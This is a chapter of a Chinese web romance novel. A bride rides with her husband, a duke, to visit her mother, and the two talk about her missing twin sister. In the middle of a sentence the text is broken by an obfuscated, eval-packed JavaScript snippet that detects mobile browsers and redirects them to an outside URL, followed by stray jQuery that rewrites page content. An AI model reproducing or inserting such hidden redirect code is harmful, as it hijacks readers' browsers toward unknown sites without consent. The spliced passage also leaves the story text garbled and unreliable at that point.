16. 第16章

作品:《为姐姐嫁给国公爷后

    “不要想些乱七八糟的东西。”江澜序将年知秋拽进马车沉声警告着。


    “我什么也没想啊!”这个可真是冤枉人!


    他知道她在想什么吗?现在连她的脑子都要管吗?


    江澜序的手不知道怎么长的,抓得她骨头缝都在发疼,她不由地皱眉,“国公爷,你能先松开我吗?”


    见她神情不适,江澜序松开她的手臂。年知秋实在不愿意挨着他,立马坐远,暗暗揉着被江澜序抓过的地方,真想也去拧江澜序一把。


    江澜序坐在马车的中央,玄袍玉冠,一双漆黑的眸依旧瞧着她,不知道又哪里让他不愉快,周身气压极低。


    “你做好自己的本分就好,其他的事情,不需要你操心。”


    这是在警告她不要插手他跟李时珠之间的事情吗?她才不想卷进他和李时珠的感情纠纷中,那是纯属吃饱撑着没事干。


    “国公爷放心,我时刻谨记着自己的本分和你的要求。”


    马车从镇国公府门口行驶出去,李时珠站在门口望着马车离开,消失在拐角处,令翘站在李时珠身后,“大少夫人,听说昨晚国公爷让这位留宿轩景堂,真不知道她上哪里学得下作手段勾引国公爷。”


    李时珠的嘴角却带着笑意,眼中的阴霾一扫而空,微咬一下贝齿,轻声说道:“国公爷并没有碰她。”


    令翘大惊,看向李时珠,“您怎么看出来的。”


    “李家有一个嬷嬷,告诉我其中的门道,从年氏的面相上看,她跟国公爷尚未圆房。”


    令翘不由地伸着手指数着,“国公爷已经跟她歇息两夜都没有碰她?看来国公爷也不是很喜欢她,那她居然敢在我们跟前得意!”


    李时珠一整晚的沮丧因为这件事明朗起来,往府中走去,“她越是得意,就摔得越惨,我们且看着。”令翘急忙跟在李时珠身后,国公府朱红色的大门缓慢合上。


    车厢寂静,江澜序靠在马车上闭眼假寐,年知秋看他一眼,怕自己开口不知哪句话又惹他不愉快,不敢瞎说话,正正经经坐着。


    年知秋挺直后背,连脖子和下颌之间都要保持一道恰到好处的弧度,年知秋真想叉开腿随意靠着坐,只是江澜序在场影响她发挥。再观江澜序,坐姿很有范,无需刻意,就叫人觉得他优雅得体,连长睫低垂的弧度都带着一股子完美,双手搭在膝头,手指的肌肤很白,放在玄色的衣料上很显眼,长发都收到发冠里面,露出光洁饱满的额头,整张脸的五官立体清晰,丰神俊朗。


    年知秋盯着他琢磨,难道这就是孔嬷嬷说的把仪态刻进骨子里吗?


    行驶的马车突然停下来,车身剧烈晃动,年知秋抓住下边的垫子才没从垫子上摔下来,江澜序撩起眼皮,“怎么回事?”车夫的声音从外面传进来,“国公爷,承恩王府的马车和我们堵一块去,他们说给我们让路。”


    这条道路狭窄,平常只能容一辆马车行驶,若是两个方向都行驶出一辆马车,则需要其中一辆马车往后退到空旷的地方让对方通行。


    年知秋惊叹江澜序真是好大的面子,居然能让王府给他让路,同时好奇地掀开帘子瞧外面究竟是怎么一回事。


    暗自琢磨承恩王府,听着有些耳熟,但她现在想不起来,从车窗看过去,承恩王府的马车正在往后退,而国公府的马车往前行驶,最后退到一处空旷的地方,两个马车擦身而过。


    承恩王府的马车车帘是撩起来的,马车里的男子撇头看着窗外,眉目清雅,气质温和,像一块古玉散发着莹润的光,长睫下目光明澈,落到她脸上,似从里面抽扯出万般思愁,几乎化成实质。年知秋被他这目光看的奇怪,没忍住也盯着他瞧。


    江澜序撇头看见看见两人眉目传情的一幕。


    他深熟人心,瞧出对面男子眼中是个什么意思,又看年知秋,马车远去,她伸着脖子往外面瞧。


    江澜序目光沉下来,“要不要我把他叫过来给你瞧个仔细。”


    年知秋感受到江澜序不悦的目光,她只好收回视线坐好,想,你这能耐真是大,连王府都不放在眼中,想把人叫过来就叫过来吗?不过孔嬷嬷教导过她什么三从四德,想必是在他眼皮子底下瞧别的男人让他不高兴吧。这人也是奇怪,一边要跟她划清界限,一边对她指手画脚。


    这不是在国公府还要倚靠这位生活,让他赏些脸色,年知秋能屈能伸,“不敢,只是瞧着有些眼熟,像我的一个故人。”


    这话当然是年知秋胡诌的,她在边疆那边怎么可能遇到这种似神仙般的人物,不过是叫江澜序放心,她就是瞧个稀奇,对别的男人可没有什么想法。


    见他又一副老僧入定的模样闭上双眼,好似懒得跟她废话,年知秋在心里翻个白眼。很快心思又飘刚才瞧见的男子身上,承恩王府的耳熟感几乎快要从脑子中突破出来,直觉告诉她这很重要,她却死活都想不起来。


    等马车行驶到将军府门口停下,年知秋才放弃回想这件事。


    宁氏早早带着将军府众人在门口等着年知秋回来,江澜序先掀帘下马车,他身躯修长挺拔,一身玄袍穿在身上衬得他英俊威武,将军府众人原本有说有笑,看到江澜序那一刻,都闭上嘴巴安静下来,偷偷打量江澜序,除宁氏外,还有一些叔叔伯伯帮忙打理将军府,年氏族人都仰仗年知秋的爹,各家相处关系也不错,比较融洽。江澜扫一眼将军府众人,他这样的身份,不习惯纤尊降贵,目空一切地站着,不打算跟将军府这群人走得很亲近。


    年知秋紧跟着掀帘出来,她今日穿的裙子比较繁复,又需要保持仪态,拎着裙子下马车就有些缓慢。她几乎看不见下马车放着的脚踏,伸着脖子看脚下的情况,一只手遮挡住年知秋的视线,江澜序伸手向她,年知秋看着那只手,见将军府众人都看着她跟江澜序。


    年知秋脸上露出一个得体的笑,将自己的手放到江澜序掌中,江澜序握紧她的手微微用力往前一牵,根本没考虑到年知秋因为裙子的原因看不清脚下的路,根本没站稳,被他这么一拉身体失去平衡,年知秋暗叫不好,她整个人已经控制不住地往江澜序身上扑,两只手抱住江澜序的脖子,模样有些狼狈。


    江澜序面色不改,伸着手臂将她抱下马车,年知秋脚踩在地面上立刻松开江澜序的脖子,有些尴尬地整理衣裙,当着将军府众人还是亲娘的面,年知秋怪不好意思的,不过她有一个强大的心脏,很快就恢复淡定,当作什么事情也没有发生过。


    年知秋走到宁氏面前,喊道:“娘!”宁氏连忙拉住年知秋的手,年知秋嫁进国公府这几天,她寝食不安,见到年知秋脸色红润,衣着华丽,江澜序又陪她回门,并不像受委屈的模样,悬着的心才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922385|192611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    放下来,激动地拍着年知秋的手背。


    “回来就好,我们进去说话。”


    有江澜序在场,大家都变得格外拘谨,毕竟这位可是名躁京城的铁面阎王,谁敢招惹这位。


    他们还以为年知秋请不来这尊大佛,哪成想江澜序居然陪年知秋回门。


    宁氏有话跟年知秋说,拉着年知秋回房,让将军府年长的叔伯去招待江澜序。


    母女两人搁着小几相对坐着,年知秋端起小几上面的茶杯喝茶。


    “你在镇国公府过得怎么样,里面有人刁难你吗?”宁氏问。


    “我可以应付的,娘你就放心吧。”


    宁氏犹豫一番才问出口,“知秋,你在镇国公府有没有查到关于你姐姐素言的消息?”


    “没有,我在国公府试探了所有人,若是他们对姐姐下手,见到我肯定神情慌乱,但是我没有找到可疑人。”


    年知秋现在的范围不止在国公府,而是跟姐姐有联系的人身上,她都要查一查。


    年知秋和年素言的脸一样,但那双眼睛不一样,性格也不一样,宁氏伸手在年知秋手上一捏,“知秋,其实娘是有些偏心你姐姐的,娘看你冒这么大的险嫁进国公府,希望你找到素言,你会怪娘吗?”


    年知秋摇摇头,“不会,因为姐姐是跟娘在一起生活,姐姐是你看着长大的,所以娘的心思自然花在姐姐身上多一些,就像爹爹看着我长大,在我跟姐姐之间他也会偏心我的,有一点不会变,我们是一家人,不会抛弃对方,你跟姐姐在京城挂念我跟爹爹,我和爹爹也在边疆挂念你们,我相信姐姐知道我需要她也会义无反顾来帮我,怎么谈得上怪罪。”


    宁氏听着年知秋的话很是心酸,叹起气来,很对不住自己的两个孩子,年知秋见她又忧心,连忙打断宁氏的思路,“好了好了,娘你就放一百个心吧,我没事,姐姐也会没事的。”


    “找你姐姐固然重要,但是你也要小心,娘这右眼皮总是跳个不停,担心你跟你姐姐一样,娘再也找不到你们。”


    宁氏说着不由地按下眼皮,又将话题转到江澜序身上,“国公爷对你怎么样?”


    “还行,他还是很好说话,也没刻意针对我……对我还是很好的。”


    年知秋想起宁氏的顾虑决定还是为江澜序说两句好话。


    “京城权贵一向看不起我们将军府,知秋,你既然嫁进国公府,就好好跟国公爷相处,最好能生个孩子,有了孩子,国公爷再怎么样也会顾忌你三分,只要你地位稳固,就没有人敢欺负到你头上。”


    宁氏带着年素言在京城生活,可谓是吃尽京城权贵世家的挖苦白眼和打压,那些贵妇从不把宁氏放在眼中,对她的孩子也很排挤,导致年素言年纪轻轻却日日把自己关在放中,性格沉闷,宁氏不后悔嫁给年知秋的爹,可是她也受够京城权贵的踩高捧低,她不想自己的两个女儿过上像她这样的生活。


    年知秋没明白宁氏的想法,她只想把娘亲和姐姐带回边疆,一家人再也不用分居两地生活,这样可比当国公夫人幸福多,更别说还要给江澜序生一个孩子,那是她想都没有想过的事情。


    “好。”宁氏现在忧虑太重,年知秋为安她的心都顺着她说话。


    “小姐,夫人,国公爷往小姐的院子去了。”小梅站在门口隔着帘子说道。